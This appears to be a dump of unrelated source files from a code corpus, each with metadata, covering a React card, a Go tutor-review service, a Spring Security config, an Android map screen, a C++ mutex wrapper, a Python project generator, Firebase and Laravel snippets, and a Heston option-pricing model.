MOTOR_tracks_RIGHT, displacement, MOTOR_tracks_LEFT, displacement); } //---------------------------------------------------------------- void t_tracks_controller::cancel_commands() { wheels_motors_controller.send_move_stepper_motor2(MOTOR_tracks_LEFT, 0, MOTOR_tracks_RIGHT, 0); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_LEFT, COMMAND_SENT); wheels_motors_controller.set_stepper_motor_state(MOTOR_tracks_RIGHT, COMMAND_SENT); printf("cancel tracks commands: M%d %d M%d %d# - sent\n", MOTOR_tracks_LEFT, 0, MOTOR_tracks_RIGHT, 0); } //---------------------------------------------------------------- t_tracks_controller::~t_tracks_controller(void) { wheels_motors_controller.close_connection(); } //----------------------------------------------------------------
JavaScript
UTF-8
814
2.578125
3
[]
no_license
// Write your Character component here import React, {useState} from 'react'; import { Card, CardText, CardBody, CardTitle, CardSubtitle, Button, } from 'reactstrap'; import Stats from './Stats' function Character(props){ const {data, bounty} = props const [fadeIn, setFadeIn] = useState(false); const toggle = () => setFadeIn(!fadeIn); return ( <Card> <CardBody> <CardTitle>{data.name}</CardTitle> <CardSubtitle>{bounty} credits</CardSubtitle> <CardText> <Stats data = {data} fadeIn = {fadeIn}/> <Button color="danger" onClick={toggle}>Bounty Information</Button> </CardText> </CardBody> </Card> ); }; export default Character
Go
UTF-8
5,516
2.875
3
[]
no_license
package services import ( "time" "github.com/cs3305-team-4/api/pkg/database" "github.com/google/uuid" "gorm.io/gorm" ) //contains the information on a single review and what accounts it is connected to type Review struct { database.Model Rating int `gorm:"not null;check:rating >= 0; check:rating <= 5;"` Comment string `gorm:""` TutorProfileID uuid.UUID `gorm:"type:uuid;index"` StudentProfileID uuid.UUID `gorm:"type:uuid;index"` Student Profile `gorm:"foreignKey:StudentProfileID;references:AccountID"` } type ReviewError string func (e ReviewError) Error() string { return string(e) } const ( ReviewErrorTutorNotFound ReviewError = "Tutor account does not exist" ReviewErrorNoCompletedLesson ReviewError = "Student has not completed a lesson with this tutor" ReviewErrorStudentsOnly ReviewError = "Only students can review tutors" ReviewErrorOnce ReviewError = "You can onyl review a tutor once" ) //Represents an incoming review to be added to the database type ReviewCreateDTO struct { Rating int `json:"rating" validate:"required,gte=1,lte=5"` Comment string `json:"comment"` } //Represents a single review and the account connected to it type ReviewDTO struct { ID uuid.UUID `json:"id" gorm:"type:uuid;column:id"` CreatedAt time.Time `json:"created_at"` Rating int `json:"rating"` Comment string `json:"comment"` ProfileResponseDTOMin `json:"student" gorm:""` } //represents a profile connected to a review type ProfileResponseDTOMin struct { AccountID string `json:"account_id"` Avatar string `json:"avatar" validate:"omitempty"` Slug string `json:"slug"` FirstName string `json:"first_name"` LastName string `json:"last_name"` } //represents a reviews update type ReviewUpdateDTO struct { Rating int `json:"rating" validate:"gte=0,lte=5"` Comment string `json:"comment"` } //represnts a tutors average review score type ReviewAverageDTO struct { Average float32 `json:"average"` } //adds a review to the database func CreateReview(review *Review) error { conn, err := database.Open() if err != nil { return err } query := conn.Debug().Model(&Review{}).Where(review) if query.RowsAffected != 0 { return ReviewErrorOnce } return conn.Create(review).Error } //connects the pofile of a student who wrote the review to the review func joinReviewProfile(db *gorm.DB) *gorm.DB { return db.Joins("LEFT JOIN profiles ON profiles.account_id = reviews.student_profile_id"). Select([]string{"reviews.*", "profiles.account_id", "profiles.avatar", "profiles.slug", "profiles.first_name", "profiles.last_name"}) } //returns all reviews for a given tutor func TutorAllReviews(id uuid.UUID) ([]ReviewDTO, error) { conn, err := database.Open() if err != nil { return nil, err } var reviews []ReviewDTO err = conn.Table("reviews"). Debug(). Scopes(joinReviewProfile). Where("reviews.deleted_at IS NULL"). Order("reviews.created_at desc").Where(&Review{ TutorProfileID: id, }).Find(&reviews).Error return reviews, err } //returns a single review when given the associated tutor and review ids func TutorSingleReview(tid uuid.UUID, rid uuid.UUID) (ReviewDTO, error) { conn, err := database.Open() if err != nil { return ReviewDTO{}, err } var review ReviewDTO query := Review{} query.ID = rid query.TutorProfileID = tid err = conn.Table("reviews"). Where("reviews.deleted_at IS NULL"). Scopes(joinReviewProfile). Where(&query).Limit(1).Find(&review).Error return review, err } //retuens a tutors average review score when given their ID func TutorReviewsAverage(tid uuid.UUID) (ReviewAverageDTO, error) { conn, err := database.Open() if err != nil { return ReviewAverageDTO{}, err } var average ReviewAverageDTO err = conn.Model(&Review{}).Where(&Review{ TutorProfileID: tid, }).Select("avg(rating) as average").Row().Scan(&average.Average) return average, err } //Returns a spefic review when given the associated tutor and review id func TutorReviewByStudent(tid uuid.UUID, sid uuid.UUID) (ReviewDTO, error) { conn, err := database.Open() if err != nil { return ReviewDTO{}, err } var review ReviewDTO query := Review{} query.TutorProfileID = tid query.StudentProfileID = sid err = conn.Table("reviews"). Where("reviews.deleted_at IS NULL"). Scopes(joinReviewProfile). Where(&query).Limit(1).Find(&review).Error return review, err } //updates a reviews rating by a given review id func UpdateReviewRating(rid uuid.UUID, rating int, sid uuid.UUID) error { conn, err := database.Open() if err != nil { return err } review := Review{} review.ID = rid review.StudentProfileID = sid return conn.Model(&Review{}).Where(&review).Update("rating", rating).Error } //updates a reviews comment by a given review id func UpdateReviewComment(rid uuid.UUID, comment string, sid uuid.UUID) error { conn, err := database.Open() if err != nil { return err } review := Review{} review.ID = rid review.StudentProfileID = sid return conn.Model(&Review{}).Where(&review).Update("comment", comment).Error } //deletes a speific review by the given tutor, review and student id func TutorDeleteReview(tid uuid.UUID, rid uuid.UUID, sid uuid.UUID) error { conn, err := database.Open() if err != nil { return err } review := &Review{} review.TutorProfileID = tid review.ID = rid review.StudentProfileID = sid return conn.Model(&Review{}).Delete(review).Error }
Java
UTF-8
2,808
2.203125
2
[]
no_license
package org.forwork.config; import org.forwork.controller.member.CustomAccessDeniedHandler; import org.forwork.controller.member.CustomAuthFailureHandler; import org.forwork.controller.member.CustomLoginSuccessHandler; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.builders.WebSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.security.web.authentication.AuthenticationFailureHandler; import org.springframework.security.web.firewall.DefaultHttpFirewall; import org.springframework.security.web.firewall.HttpFirewall; import org.springframework.security.web.util.matcher.AntPathRequestMatcher; /*import CustomeAccessDeniedHandler.CustomeAccessFailerHandler;*/ import lombok.AllArgsConstructor; @Configuration @EnableWebSecurity @AllArgsConstructor public class SecurityConfig extends WebSecurityConfigurerAdapter { // 패스워드 인코딩을 사용하기 위한 빈 @Bean public PasswordEncoder passwordEncoder() { return new BCryptPasswordEncoder(); } @Override public void configure(WebSecurity web) throws Exception { // static 디렉터리의 하위 파일 목록은 인증 무시 ( = 항상통과 ) web.ignoring().antMatchers("/css/**", "/js/**", "/img/**", "/lib/**"); web.httpFirewall(DefaultHttpFirewall()); } @Bean public HttpFirewall DefaultHttpFirewall(){ return new DefaultHttpFirewall(); } @Override protected void configure(HttpSecurity http) throws Exception { http.headers().frameOptions().disable(); http.exceptionHandling().accessDeniedHandler(new CustomAccessDeniedHandler()); http.csrf().disable() .authorizeRequests() // 페이지 권한 설정 .antMatchers("/PMOpage/**").hasRole("ADMIN") .antMatchers("/**") .permitAll() .and() // 로그인 설정 .formLogin() .loginProcessingUrl("/login") .usernameParameter("email") .passwordParameter("pw") .loginPage("/member/login") // .defaultSuccessUrl("/member/loginSuccess",true)//로그인 후 들어갈 페이지 .successHandler(new CustomLoginSuccessHandler()) .failureHandler(new CustomAuthFailureHandler()) .permitAll() .and() // 로그아웃 설정 .logout() .logoutRequestMatcher(new AntPathRequestMatcher("/logout")) .logoutSuccessUrl("/member/login")//로그아웃 하고 넘어갈 페이지 .invalidateHttpSession(true); } }
Java
UTF-8
2,670
1.992188
2
[]
no_license
package com.test.material.supitsara.materialnavigationtest; import android.os.Bundle; import android.support.design.widget.FloatingActionButton; import android.support.design.widget.Snackbar; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.MenuItem; import android.view.View; import com.google.android.gms.maps.CameraUpdateFactory; import com.google.android.gms.maps.GoogleMap; import com.google.android.gms.maps.MapView; import com.google.android.gms.maps.MapsInitializer; import com.google.android.gms.maps.model.BitmapDescriptorFactory; import com.google.android.gms.maps.model.CameraPosition; import com.google.android.gms.maps.model.LatLng; import com.google.android.gms.maps.model.MarkerOptions; public class MapActivity extends AppCompatActivity { private GoogleMap googleMap; MapView mMapView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_map); Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(toolbar); getSupportActionBar().setTitle(getIntent().getStringExtra("boothName")); getSupportActionBar().setDisplayHomeAsUpEnabled(true); mMapView = (MapView) findViewById(R.id.mapView); mMapView.onCreate(savedInstanceState); mMapView.onResume();// needed to get the map to display immediately try { MapsInitializer.initialize(MapActivity.this); } catch (Exception e) { e.printStackTrace(); } googleMap = mMapView.getMap(); // latitude and longitude double latitude = getIntent().getDoubleExtra("lat", 0); double longitude = getIntent().getDoubleExtra("long", 0); // create marker MarkerOptions marker = new MarkerOptions().position( new LatLng(latitude, longitude)).title(getIntent().getStringExtra("boothName")); // Changing marker icon marker.icon(BitmapDescriptorFactory .defaultMarker(BitmapDescriptorFactory.HUE_ORANGE)); // adding marker googleMap.addMarker(marker); CameraPosition cameraPosition = new CameraPosition.Builder() .target(new LatLng(latitude, longitude)).zoom(15).build(); googleMap.animateCamera(CameraUpdateFactory .newCameraPosition(cameraPosition)); } @Override public boolean onOptionsItemSelected(MenuItem item) { if(item.getItemId()==android.R.id.home) finish(); return super.onOptionsItemSelected(item); } }
C++
UTF-8
1,952
3.0625
3
[]
no_license
#ifndef DBC_RWMUTEX_H #define DBC_RWMUTEX_H #include <pthread.h> class RwMutex { public: class ReadLock { public: explicit ReadLock(RwMutex& mutex):m_isLock(false), m_mutex(mutex) { lock(); } ~ReadLock() { if(m_isLock) { unlock(); } } void lock() { if(!m_isLock) { m_isLock = true; m_mutex.rdlock(); } } void unlock() { if(m_isLock) { m_mutex.unlock(); m_isLock = false; } } private: bool m_isLock; RwMutex& m_mutex; }; class WriteLock { public: explicit WriteLock(RwMutex& mutex):m_isLock(false), m_mutex(mutex) { lock(); } ~WriteLock() { if(m_isLock) { unlock(); } } void lock() { if(!m_isLock) { m_isLock = true; m_mutex.wrlock(); } } void unlock() { if(m_isLock) { m_mutex.unlock(); m_isLock = false; } } private: bool m_isLock; RwMutex& m_mutex; }; RwMutex() { pthread_rwlock_init(&m_lock, nullptr); } ~RwMutex() { pthread_rwlock_destroy(&m_lock); } void rdlock() { pthread_rwlock_rdlock(&m_lock); } void wrlock() { pthread_rwlock_wrlock(&m_lock); } void unlock() { pthread_rwlock_unlock(&m_lock); } private: pthread_rwlock_t m_lock; }; #endif
Python
UTF-8
6,282
2.5625
3
[]
no_license
#!/usr/bin/python # -*- coding: utf-8 -*- #from argparse import ArgumentParser import os import git import shutil import json import midwife import pkg_resources as pr #parser = argparse.ArgumentParser() #parser.parse_args() def ask(label, default, escape = False): if label == '': return None if default is not None: label = '\n{} ({})?\n '.format(label, 'default: \'{}\''.format(default)) answer = input(label) return answer if answer != '' else default label = '\n{}?\n '.format(label) answer = input(label) if answer == '' and escape: return None while answer == '': answer = input(label) return answer class Field(object): def __init__(self, **field): self.key = field['key'] self.label = field['label'].capitalize() self.default = field['default'] if 'default' in field else None self.note = field['note'].capitalize() if 'note' in field else '' self.multiple = field['multiple'] if 'multiple' in field else False self.fields = field['fields'] if 'fields' in field else [] self.fields = [Field(**f) for f in self.fields] def ask(self, i = -1): if self.note != '': print(self.note) if not self.multiple: return self.key, ask(self.label.format(i) if i != -1 else self.label, self.default, i > 1) answers = [] while True: i = len(answers) if len(self.fields) == 0: answer = ask('{} #{}'.format(self.key, i + 1), None, True) # how about when it can be empty (default)? if answer is None: return self.key, answers answers.append(answer) else: answers.append({}) for field in self.fields: key, answer = field.ask(i + 1) # how about when it can be empty (default)? if answer is None: answers.pop() return self.key, answers answers[i][key] = answer class Form(object): def __init__(self, path, language = 'en'): self.path = path self.language = language self.form_filename = '../midwife/templates/form.{}.json'.format(language) self.fields = [] with open(self.form_filename, 'r') as f: self.form = json.loads(f.read()) self.fields = [Field(**field) for field in self.form['fields']] self.info_filename = os.path.join(path, '.midwife_form_info.json') self.info = {} self.project = None def ask(self): print(self.form['menu']) self.info = {} if os.path.exists(self.info_filename): with open(self.info_filename, 'r') as f: self.info = json.loads(f.read()) print('There is an existing filled form:') print([print('\t{}: {}'.format(key, value)) for key, value in self.info.items()]) answer = input('Would like to continue from this point? [Y/n]') if not answer.lower().startswith('y'): self.info = {} for field in self.fields: if field.key not in self.info: key, answer = field.ask() self.info[key] = answer with open(self.info_filename, 'w') as f: json.dump(self.info, f) return self.info def generate(self, project): print('The following project structure will be generated:') print(project) yes, no = 'y', 'n' yes = input('Do you want to continue? [{}/{}]'.format(yes, no)).lower() == yes if not yes: print('Aborted.') return project.generate() os.remove(self.info_filename) def init(self, project): yes, no = 'y', 'n' yes = input('Do you want to initialize git in this project? [{}/{}]'.format(yes, no)) == yes if not yes: print('Aborted.') return project.init() def main(): # print('\t{}\n\tv{}\n\tby {}\n\t{}\n'.format( # 'midwife', # midwife.__version__, # 'Adriano Henrique Rossette Leite', # 'A tool for automaticly generating data science projects for python.' # )) language = 'en' # pode ser um parametro de execucao path = os.path.expanduser('~/Projects/Python') # pode ser um parametro de execucao #prefix = os.path.join(os.path.expanduser('~'), '.midware') form = Form(path, language) info = form.ask() project = midwife.Project(**info) form.generate(project) form.init(project) def test(): print(''' Welcome to the midwife tool!!! \n You will be asked some question in order to automaticly create it for you.\n So let\'s get started... \n ''') info = { 'path': '~', 'name': 'example', 'authors': [{ 'name': 'Adriano Henrique Rossette Leite', 'email': 'contact@adrianohrl.tech', 'username': 'adrianohrl', }, { 'name': 'Henrique Rossette Leite', 'email': 'me@adrianohrl.tech', 'username': 'henriquerl', }, ], 'description': 'This is an example.', 'license': 'BSD', 'url': 'git@gitlab.com:adrianohrl/example.git', 'keywords': [ 'project', 'generator', 'example', ], 'requirements': [ 'pandas >= 0.23.4', 'numpy >= 1.16.1 ', ], } root = os.path.abspath(os.path.join(info['path'], info['name'])) if os.path.exists(root): shutil.rmtree(root) print('Removed the {} directory.'.format(root)) project = midwife.Project(**info) project.generate() git_init(root, **info) ############################################ ### requirements.txt ### ### ### ### fazer as perguntas de requirimentos ### ### e escrevê-las no arquivo apropriado ### ### ### ############################################ if __name__ == '__main__': main()#test()
Java
UTF-8
350
3.0625
3
[]
no_license
import java.util.Random; public class FileIO { public FileIO(){ } public int generateIOBurst(){ Random r = new Random(); int cycles = r.nextInt(50) + 1; for(int i=0;i<cycles;i++){ //IO operations } System.out.println("File IO "+ cycles+ " cycles performed"); return cycles; } }
JavaScript
UTF-8
2,684
2.8125
3
[]
no_license
var student; var studentID; function addStudent() { database = firebase.database(); var user = firebase.auth().currentUser.uid; var ref = database.ref("users/" + user + "/class"); student = document.getElementById("addClass").value; if(student != ""){ var data = { student: student } ref.push(data); } //addQuestions(user, student); document.getElementById("addClass").value = ""; } function save() { saveSettings(); document.getElementById('savebtn').className = "btn btn-outline-success"; window.location.href = 'home-educator.html'; } function saveSettings() { var level = document.getElementById('level').value; localStorage.setItem("levelValue", level); } function addQuestions(user){ alert("Adding Questions") database = firebase.database(); var ref = database.ref("users/" + user + "/class"); ref.on("value", gotClass, errClass); alert("gotStudents"); } function errClass(err) { console.log("Error:"); console.log(err); } var studentList = []; function gotClass(data){ var user = firebase.auth().currentUser.uid; var classList = data.val(); var keys = Object.keys(classList); for(var i = 0; i < keys.length; i++) { var k = keys[i]; var tempStudent = classList[k].student; studentList[i] = tempStudent; } for(var i = 0; i < studentList.length; i++){ alert("multipleTimes"); if(studentList[i] == student){ alert("Entering Users"); var ref2 = database.ref("users/" + user + "/Questions"); ref2.on("value", gotQuestionSet, errQuestionSet); } } } function errQuestionSet(err) { console.log("Error:"); console.log(err); } function gotQuestionSet(data) { var questionSets = data; var keys = Object.keys(questionSets); var usersRef = database.ref("users/"); usersRef.on("value", gotUsers, errUsers); } function errUsers(err) { console.log("Error:"); console.log(err); } var ref3; var studentfound = false; function gotUsers(data) { var i = 0; var users = data.val(); var keys = Object.keys(users); while(!studentfound){ var k = keys[i]; console.log(users[k]); var currentEmail = users[k].email; var currentUser = users[k].userID; alert(currentUser); if(currentEmail == student){ alert("MADE IT"); ref3 = database.ref("users/" + currentUser + "/customQuestions"); ref3.push("hey"); alert(studentID); } else { alert("WRONG"); } i++; } }
PHP
UTF-8
3,956
2.5625
3
[ "MIT" ]
permissive
<?php namespace App\Http\Controllers; use Illuminate\Support\Str; use App\Models\Token; use Illuminate\Http\Request; use function GuzzleHttp\Promise\all; class ApiTokenController extends Controller { function createAPIToken(Request $request) { $rules = [ "name" => "required", ]; $customMessages = [ 'required' => 'Mohon Isi Kolom :attribute sebelum melanjutkan' ]; $this->validate($request, $rules, $customMessages); $myToken = Str::random(24); $check = Token::all()->where('token', '=', $myToken)->count(); while ($check == 1) { $myToken = Str::random(24); $check = Token::all()->where('token', '=', $myToken)->count(); } $object = new Token(); $object->name = $request->name; $object->access_type = 0; $object->token = $myToken; $object->save(); if($object){ return response()->json([ 'http_response' => 200, 'status' => 1, 'success' => true, 'message' => 'Berhasil Membuat Token, Hubungi Divisi HR Untuk Mengaktifkan Token', 'token' => $object, ]); }else{ return response()->json([ 'http_response' => 400, 'status' => 0, 'success' => false, 'message' => 'Gagal Membuat Token', ]); } } function updateToken(Request $request,$id) { $rules = [ "name" => "required", "access_type" => "required", ]; $customMessages = [ 'required' => 'Mohon Isi Kolom :attribute sebelum melanjutkan' ]; $this->validate($request, $rules, $customMessages); $object = Token::findOrFail($id); $object->name = $request->name; $object->access_type = $request->access_type; $object->save(); if($object){ return response()->json([ 'http_response' => 200, 'status' => 1, 'success' => true, 'message' => 'Berhasil Mengupdate Token', 'token' => $object, ]); }else{ return response()->json([ 'http_response' => 400, 'status' => 0, 'success' => false, 'message' => 'Gagal Mengupdate Token', 'token' => $object, ]); } } /* Menghapus Token Yang Sudah Dibuat */ function deleteToken($id) { $object = Token::findOrFail($id); $object->delete(); if($object){ return response()->json([ 'http_response' => 200, 'status' => 1, 'success' => true, 'message' => 'Berhasil Menghapus Token , Token Tidak Dapat Digunakan Kembali', 'token' => $object, ]); }else{ return response()->json([ 'http_response' => 400, 'status' => 0, 'success' => false, 'message' => 'Gagal Menghapus Token, Silakan Hubungi Tim IT Divisi HR Untuk Bantuan Teknis', ]); } } /* Menghapus Token Yang Sudah Dibuat */ function fetchToken() { $object = Token::all(); if($object){ return response()->json([ 'http_response' => 200, 'status' => 1, 'success' => true, 'message' => 'Berhasil Fetch Token', 'token' => $object, ]); }else{ return response()->json([ 'http_response' => 400, 'status' => 0, 'success' => false, 'message' => 'Gagal Fetch Token', ]); } } }
Python
UTF-8
1,868
2.671875
3
[]
no_license
import numpy as np from qfin.models.model import Model class HestonModel(Model): name = "HESTON" labels = "KAPPA", "RHO", "V0", "VBAR", "XI" bounds = [ (1e-5, np.inf), # KAPPA -- mean-reversion (-1, 1), # RHO -- correlation (1e-5, np.inf), # V0 -- short-term variance (1e-5, np.inf), # VBAR -- long-term variance (1e-5, np.inf), # XI -- vol of vol ] def call_vega(self, x0, ttm, strike, spot=1., rate=0., dividends=0.): eps = 0.01 # @todo fix this KAPPA, RHO, V0, VBAR, XI = x0 call_base = self.call(x0, ttm, strike, spot, rate) x0[2] = V0 + eps x0[3] = VBAR call_v0 = self.call(x0, ttm, strike, spot, rate) d_v0 = (call_v0 - call_base) / eps x0[2] = V0 x0[3] = VBAR + eps call_vbar = self.call(x0, ttm, strike, spot, rate) d_vbar = (call_vbar - call_base) / eps # total differential cash_vega = 2 * np.sqrt(V0) * d_v0 * np.sqrt(eps) + 2 * np.sqrt(VBAR) * d_vbar * np.sqrt(eps) return cash_vega / np.sqrt(eps) def cf(self, x0, u, ttm, x, rate): KAPPA, RHO, V0, VBAR, XI = x0 alpha = (- u ** 2 - 1j * u) / 2 beta = KAPPA - RHO * XI * 1j * u gamma = XI ** 2 / 2 d = np.sqrt(beta ** 2 - 4 * alpha * gamma) r_pos = (beta + d) / 2 / gamma r_neg = (beta - d) / 2 / gamma g = r_neg / r_pos # alpha_0 def C(t): return r_neg * t - 2 / XI ** 2 * np.log((1 - g * np.exp(-d * ttm)) / (1 - g)) # beta def D(t): return r_neg * (1 - np.exp(-d * ttm)) / (1 - g * np.exp(-d * ttm)) return np.exp(VBAR * KAPPA * C(ttm) + V0 * D(ttm) + 1j * u * (x + rate * ttm))
Java
UTF-8
2,620
2.21875
2
[ "Apache-2.0" ]
permissive
package com.codernauti.sweetie.geogift; public class GeogiftVM { public final static int MESSAGE_GEOGIFT = 0; public final static int PHOTO_GEOGIFT = 1; public final static int HEART_GEOGIFT = 2; private String mKey; private String mUserCreator; private int mType; private String mTitle; private String mMessage; private String mAddress; private Double mLat; private Double mLon; private String mUriStorage; private boolean mIsBookmarked; private String mCreationDate; private String mVisitedDate; private boolean mIsTriggered; public GeogiftVM() { } public String getKey() { return mKey; } public void setKey(String mKey) { this.mKey = mKey; } public String getUserCreatorUID() { return mUserCreator; } public void setUserCreatorUID(String userCreatorUID) { this.mUserCreator = userCreatorUID; } public int getType() { return mType; } public void setType(int type) { this.mType = type; } public String getTitle() { return mTitle; } public void setTitle(String title) { this.mTitle = title; } public String getMessage() { return mMessage; } public void setMessage(String message) { this.mMessage = message; } public String getAddress() { return mAddress; } public void setAddress(String address) { this.mAddress = address; } public Double getLat() { return mLat; } public void setLat(Double lat) { this.mLat = lat; } public Double getLon() { return mLon; } public void setLon(Double lon) { this.mLon = lon; } public String getUriStorage() { return mUriStorage; } public void setUriStorage(String uriS) { this.mUriStorage = uriS; } public boolean isBookmarked() { return mIsBookmarked; } public void setBookmarked(boolean bookmarked) { this.mIsBookmarked = bookmarked; } public String getDatetimeVisited() { return mVisitedDate; } public void setDatetimeVisited(String datetimeVisited) { this.mVisitedDate = datetimeVisited; } public boolean getIsTriggered() { return mIsTriggered; } public void setIsTriggered(boolean triggered) { this.mIsTriggered = triggered; } public String getCreationDate() { return mCreationDate; } public void setCreationDate(String mCreationDate) { this.mCreationDate = mCreationDate; } }
PHP
UTF-8
2,961
2.546875
3
[]
no_license
<?php namespace App\Http\Controllers; use App\Employee; use App\Http\Requests\EmployeeRequest; use Exception; use Illuminate\Http\RedirectResponse; use Illuminate\Support\Facades\File; use Symfony\Component\HttpFoundation\Response; class EmployeeController extends Controller { /** * Show the form for creating a new resource. * * @return Response */ public function create() { return view('employees.create', [ 'employee' => new Employee() ]); } /** * Store a newly created resource in storage. * * @param EmployeeRequest $request * @return void */ public function store(EmployeeRequest $request) { $params = $request->validated(); // get file name with Extension $imageFileNameWithExt = $request->file('image')->getClientOriginalName(); // get file name without Extension $imageFileName = pathinfo($imageFileNameWithExt, PATHINFO_FILENAME); // get Extension $extension = $request->file('image')->getClientOriginalExtension(); // create new file name $fileNameToStore = $imageFileName . '_' . time() . '.' . $extension; //upload image $request->file('image')->storeAs('public/images', $fileNameToStore); $params['image'] = $fileNameToStore; Employee::create($params); return redirect()->route('admin.homePage'); } public function edit(Employee $employee) { return view('employees.edit', [ 'employee' => $employee ]); } /** * Update the specified resource in storage. * * @param EmployeeRequest $request * @param Employee $employee * @return Response */ public function update(EmployeeRequest $request, Employee $employee) { $params = $request->validated(); if ($request->file('image') != null) { // get file name with Extension $imageFileNameWithExt = $request->file('image')->getClientOriginalName(); // get file name without Extension $imageFileName = pathinfo($imageFileNameWithExt, PATHINFO_FILENAME); // get Extension $extension = $request->file('image')->getClientOriginalExtension(); // create new file name $fileNameToStore = $imageFileName . '_' . time() . '.' . $extension; //upload image $request->file('image')->storeAs('public/images', $fileNameToStore); $params['image'] = $fileNameToStore; } $employee->update($params); return redirect()->route('admin.homePage'); } /** * @param Employee $employee * @return RedirectResponse * @throws Exception */ public function destroy(Employee $employee) { File::delete("storage/images/$employee->image"); $employee->delete(); return back(); } }
Java
UTF-8
237
1.90625
2
[]
no_license
package cw17; public class MyThread extends Thread{ @Override public void run() { for(int i=0;i<50;i++){ Cw17.print10(); // System.out.println(i+" "); } } }
JavaScript
UTF-8
1,457
2.953125
3
[ "MIT" ]
permissive
$(document).ready(function () { var submit = $("#login-btn"); var usernameInput = $("#username-input"); var passwordInput = $("#password-input"); submit.on("click", function (event) { event.preventDefault(); var userData = { username: usernameInput.val().trim(), password: passwordInput.val().trim(), }; if (userData.username && userData.password) { localStorage.setItem("currentUser", userData.username); // If we have an username and password we run the loginUser function and clear the form loginUser(userData.username, userData.password); usernameInput.val(""); passwordInput.val(""); } else { confirm("Incorrect username or password"); } }); // loginUser does a post to our "api/login" route and if successful, redirects us the the members page function loginUser(username, password) { $.post("/api/login", { username: username, password: password, }) .then(function () { window.location.replace("/legislation"); // If there's an error, log the error }).catch(function(err) { alert("Incorrect Username or Password. Please try again!") console.log(err); }); } $("#logout-btn").on("click", function (e) { e.preventDefault(); alert("You've successfully been logged out"); localStorage.clear(); $.ajax("/logout", { type: "GET" }); window.location.replace("/"); }); });
C++
UTF-8
2,263
3.296875
3
[]
no_license
#ifndef UTIL_H #define UTIL_H #include <cmath> #include <vector> #include <algorithm> #include <graph.h> #include <point.h> double distanceBetweenVertices(const Vertex *a, const Vertex *b){ double x_distance = fabs(a->x() - b->x()); double y_distance = fabs(a->y() - b->y()); return sqrt(x_distance*x_distance + y_distance*y_distance); } Point getNormalVector(const Point &vector1){ double x_2 = 1., y_2; y_2 = -vector1.x()/vector1.y(); Point vector2(x_2, y_2); return vector2; } Point getXaxisPoint(const Point &directional_vector, const Point &vector_point, const Point &origin_point){ double x_0 = directional_vector.x()/directional_vector.y() * (origin_point.y()-vector_point.y()) + vector_point.x(); Point Xaxis_point(x_0, origin_point.y()); return Xaxis_point; } Point getYaxisPoint(const Point &directional_vector, const Point &vector_point, const Point &origin_point){ double y_0 = directional_vector.y()/directional_vector.x() * (origin_point.x() - vector_point.x()) + vector_point.y(); Point Yaxis_point(origin_point.x(), y_0); return Yaxis_point; } double vectorAngle(const Point &point){ return point.x()/sqrt(point.x()*point.x() + point.y()*point.y()); } void sortVerticesOverVertex(std::vector<Vertex*> &vertices, const Vertex *origin){ auto cmp = [origin](const Vertex *a, const Vertex *b){ auto vector_a = a->point() - origin->point(); auto vector_b = b->point() - origin->point(); double angle_a = acos(vector_a.x()/(sqrt(vector_a.x()*vector_a.x() + vector_a.y()*vector_a.y()))); double angle_b = acos(vector_b.x()/(sqrt(vector_b.x()*vector_b.x() + vector_b.y()*vector_b.y()))); return angle_a < angle_b; }; sort(vertices.begin(), vertices.end(), cmp); } bool counterClockWise(const Vertex *a, const Vertex *b, const Vertex *c){ auto u = b->point() - a->point(); auto v = c->point() - b->point(); return u.x()*v.y() - u.y()*v.x() >= 0; } std::vector<unsigned int> verticesToPolygon(const std::vector<Vertex*> &vertices){ std::vector<unsigned int> polygon; for(auto vertex: vertices){ polygon.push_back(unsigned(vertex->index())); } return polygon; } #endif // UTIL_H
JavaScript
UTF-8
2,782
2.75
3
[]
no_license
const initialState = { ads: [], favoriteItems: [], loading: true, error: null, filter: 'all', sort: 'new', loadLimit: 12, priceInterval: { minValue: '', maxValue: '' }, search: '' }; const updateArray = (array, item, idx) => { if (array.find(({id}) => id === item.id) === undefined) { //Add item return [ item, ...array ]; } //Delete item return [ ...array.slice(0, idx), ...array.slice(idx + 1) ]; } const updateAdsItem = (array, item, idx) => { //Update item return [ ...array.slice(0, idx), item, ...array.slice(idx + 1) ] } //Update item const updateFavoriteItem = (item) => { const { id, title, price, images, category, isFavorite, sellerName, sellerRating } = item; return { id, title, price, images, category, isFavorite: !isFavorite, sellerName, sellerRating } } //Update favorite items const updateFavoriteItems = (state, adsId) => { const { ads, favoriteItems } = state; const adsItem = ads.find(({id}) => id === adsId); const favoriteItemIndex = favoriteItems.findIndex(({id}) => id === adsId); const adsItemIndex = ads.findIndex(({id}) => id === adsId); const newAdsItem = updateFavoriteItem(adsItem); return { ...state, ads: updateAdsItem(ads, newAdsItem, adsItemIndex), favoriteItems: updateArray(favoriteItems, newAdsItem, favoriteItemIndex) }; } const reducer = (state = initialState, action) => { switch (action.type) { case 'HTTP_ADS_REQUEST': return { ...state, ads: [], loading: true, error: null }; case 'HTTP_ADS_SUCCESS': return { ...state, ads: action.payload, loading: false, error: null }; case 'HTTP_ADS_FAILURE': return { ...state, ads: [], loading: false, error: action.payload }; case 'UPDATE_FAVORITES': return updateFavoriteItems(state, action.payload); case 'UPDATE_LOAD_LIMIT': return { ...state, loadLimit: action.payload }; case 'ADS_FILTER_BY_CATEGORY': return { ...state, filter: action.payload }; case 'ADS_SORT': return { ...state, sort: action.payload }; case 'UPDATE_PRICE_INTERVAL': return { ...state, priceInterval: action.payload }; case 'SEARCH_ADS': return { ...state, search: action.payload }; default: return state; } } export default reducer;
PHP
UTF-8
18,664
2.59375
3
[ "MIT" ]
permissive
